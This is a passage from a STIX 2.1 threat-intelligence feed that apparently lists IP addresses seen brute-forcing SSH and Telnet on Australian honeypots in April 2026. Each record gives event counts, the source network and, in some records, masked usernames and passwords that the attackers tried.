      "valid_from": "2026-04-14T20:15:23.000Z",
      "valid_until": "2026-05-16T20:15:02.000Z"
    },
    {
      "created": "2026-04-14T20:15:23.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--1eacf189-1135-47e1-82bd-8ac9a89b0107",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T20:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.144.205.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T20:15:23.000Z",
      "valid_until": "2026-05-16T20:15:02.000Z"
    },
    {
      "created": "2026-04-14T20:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--fe73e8bb-b4c0-49e1-9e15-d512555e93d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T20:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.87.1.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T20:15:23.000Z",
      "valid_until": "2026-05-16T20:15:02.000Z"
    },
    {
      "created": "2026-04-14T20:15:23.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 44668. Organisation(s): Zubko Volodymyr Viktorovych. Usernames observed (masked): r**t, u**r, ***, u****u, 3**********4. Passwords observed (masked): ***, 1*****7, 1*3@.com, 1**7, 1**************$.",
      "id": "indicator--007c8914-e144-4de3-b143-783ccbc6e7d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T20:15:23.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.87.40.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T20:15:23.000Z",
      "valid_until": "2026-05-16T20:15:02.000Z"
    },
    {
      "created": "2026-04-14T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a0d4dac3-c092-496b-bded-ab8f28ea609f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.224.203.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T21:15:05.000Z",
      "valid_until": "2026-05-16T21:15:02.000Z"
    },
    {
      "created": "2026-04-14T22:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 44034. Organisation(s): Hi3G Access AB.",
      "id": "indicator--3c919546-c34b-4b60-b1db-d5d982c49280",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T22:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.67.175.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T22:15:37.000Z",
      "valid_until": "2026-05-16T22:15:02.000Z"
    },
    {
      "created": "2026-04-14T22:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc2f47ea-db0e-4f12-8882-62aaba300053",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T22:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T22:15:37.000Z",
      "valid_until": "2026-05-16T22:15:02.000Z"
    },
    {
      "created": "2026-04-14T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 329244. Organisation(s): Connect-Surf-and-Smile-Limited.",
      "id": "indicator--f676800b-d4cc-428b-90f9-1fd07ba125dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.212.40.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T23:15:11.000Z",
      "valid_until": "2026-05-16T23:15:08.000Z"
    },
    {
      "created": "2026-04-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, n******n. Passwords observed (masked): 1***5, *, a****w, e******r, n******n.",
      "id": "indicator--f96ca29b-c08a-447f-b7d3-ce6425362ad5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.17.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T23:15:11.000Z",
      "valid_until": "2026-05-16T23:15:08.000Z"
    },
    {
      "created": "2026-04-14T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--149e75e8-c331-41cf-9d8c-b5bd6ab53090",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.193.10.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T23:15:11.000Z",
      "valid_until": "2026-05-16T23:15:08.000Z"
    },
    {
      "created": "2026-04-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 514. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, s*****t, u**r. Passwords observed (masked): a***n, 1**4, p******d, a****3, a******3.",
      "id": "indicator--1f634f6c-4b29-4c8d-ae1f-1dc601902aeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.192.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T23:15:11.000Z",
      "valid_until": "2026-05-16T23:15:08.000Z"
    },
    {
      "created": "2026-04-14T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--e217db81-294a-43b8-8d1e-fdbe903d7329",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.212.243.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T23:15:11.000Z",
      "valid_until": "2026-05-16T23:15:08.000Z"
    },
    {
      "created": "2026-04-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--355b72bf-26be-48c3-a722-5b0c0349ff89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T23:15:11.000Z",
      "valid_until": "2026-05-16T23:15:08.000Z"
    },
    {
      "created": "2026-04-14T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--567aca7d-98a1-4ab5-ab2e-cf768caa0bfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-14T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.189.196.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T23:15:11.000Z",
      "valid_until": "2026-05-16T23:15:08.000Z"
    },
    {
      "created": "2026-04-15T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--45b13588-b876-4c78-b9cb-c181dc2c05f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.186.68.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T00:15:05.000Z",
      "valid_until": "2026-05-17T00:15:02.000Z"
    },
    {
      "created": "2026-04-15T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, a***n, c*****r, ***, d****f. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--bb30004f-e813-41d3-b0db-f13c9829a0c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.115.78.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T00:15:05.000Z",
      "valid_until": "2026-05-17T00:15:02.000Z"
    },
    {
      "created": "2026-04-15T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140061. Organisation(s): Qinghai Telecom.",
      "id": "indicator--94004590-81ae-4fee-9af8-f1416dfd5607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.167.234.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T00:15:05.000Z",
      "valid_until": "2026-05-17T00:15:02.000Z"
    },
    {
      "created": "2026-04-15T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 182. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, a***n, c*****r, ***, d****f. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--e6344b3d-a7e0-43ae-8450-95defbf246ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.159.170.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T00:15:05.000Z",
      "valid_until": "2026-05-17T00:15:02.000Z"
    },
    {
      "created": "2026-04-15T00:15:05.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--3c86b5e8-a474-4d02-90d8-2233e59bede2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.183.1.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T00:15:05.000Z",
      "valid_until": "2026-05-17T00:15:02.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132934. Organisation(s): Skymax Broadband Services Pvt. Ltd..",
      "id": "indicator--44ebad50-c731-4230-9954-a05688eb3eaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.237.157.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 185. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a*****s, 3**********4, ***, f*****r. Passwords observed (masked): 1******1, 3***********4, 3**********4, A*******8, F*******1.",
      "id": "indicator--c025911c-cb1a-4b8a-a1ca-6ec86c969d61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.58.213.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*****3, Q**#, q***********@.",
      "id": "indicator--e66ac01e-0ead-4f81-9470-63c7ab436e26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.38.26.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A.. Usernames observed (masked): r**t, u**r, 3**********4, u****u, p******s. Passwords observed (masked): 3***********4, 3**********4, 1*******9, 1****4, 1*******d.",
      "id": "indicator--66b2d4e1-2b9b-4172-b2d2-801aba69b9fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.0.63.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): d****y, e**m, r**t. Passwords observed (masked): e*****3, q********4, r*********7.",
      "id": "indicator--00031f4e-2b19-454c-93a7-dc0669e35dfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.244.18.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 256. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, u**r, 3**********4, p******s, u****u. Passwords observed (masked): 3***********4, 3**********4, 1*******9, 1****4, 1******z.",
      "id": "indicator--7a206cfe-67da-43a6-9996-9ebac0b250eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.165.29.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TZ. ASN(s): 37182. Organisation(s): TERNET. Usernames observed (masked): r**t, ***. Passwords observed (masked): a**n, q***********@, s*****3.",
      "id": "indicator--af7acd68-8a23-4181-aec5-e0bff9a20911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.93.28.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--c73e2067-78e5-4ab5-947d-3defff0a7a3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.139.211.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): ***, a***n, a*******s, t**t, v**s. Passwords observed (masked): ***, a***n, a*******s, t**t, v**s.",
      "id": "indicator--fd4fa670-334c-4d6a-b311-93c499dd1720",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.22.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f24bc426-3177-4911-bf7e-cacc0582d068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.101.81.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--c58a3f9a-233b-43c3-b353-b9b61fdb248f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.243.10.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--aaa3eb36-145e-4a22-8658-aa16c62fe51e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '98.84.188.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:15:13.000Z",
      "valid_until": "2026-05-17T01:15:08.000Z"
    },
    {
      "created": "2026-04-15T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, a***n, c*****r, ***, d****f. Passwords observed (masked): 1****6, a***n, p******d, 1********0, 1******x.",
      "id": "indicator--5e2b200a-577a-43f6-9ce4-09d4320ef3a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.115.32.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T02:15:14.000Z",
      "valid_until": "2026-05-17T02:15:01.000Z"
    },
    {
      "created": "2026-04-15T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--9b790997-e19a-4cc0-84cb-2ccebe8abff5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T02:15:14.000Z",
      "valid_until": "2026-05-17T02:15:01.000Z"
    },
    {
      "created": "2026-04-15T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46690. Organisation(s): Southern New England Telephone Company and SNET America, Inc..",
      "id": "indicator--19c015dc-267b-413b-83bd-74256b93b62a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '32.220.184.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T02:15:14.000Z",
      "valid_until": "2026-05-17T02:15:01.000Z"
    },
    {
      "created": "2026-04-15T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--40a506a1-7e67-4fd6-9a94-02c87cc1adfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T02:15:14.000Z",
      "valid_until": "2026-05-17T02:15:01.000Z"
    },
    {
      "created": "2026-04-15T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--9137d497-3579-4199-944f-2ab188e346a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T02:15:14.000Z",
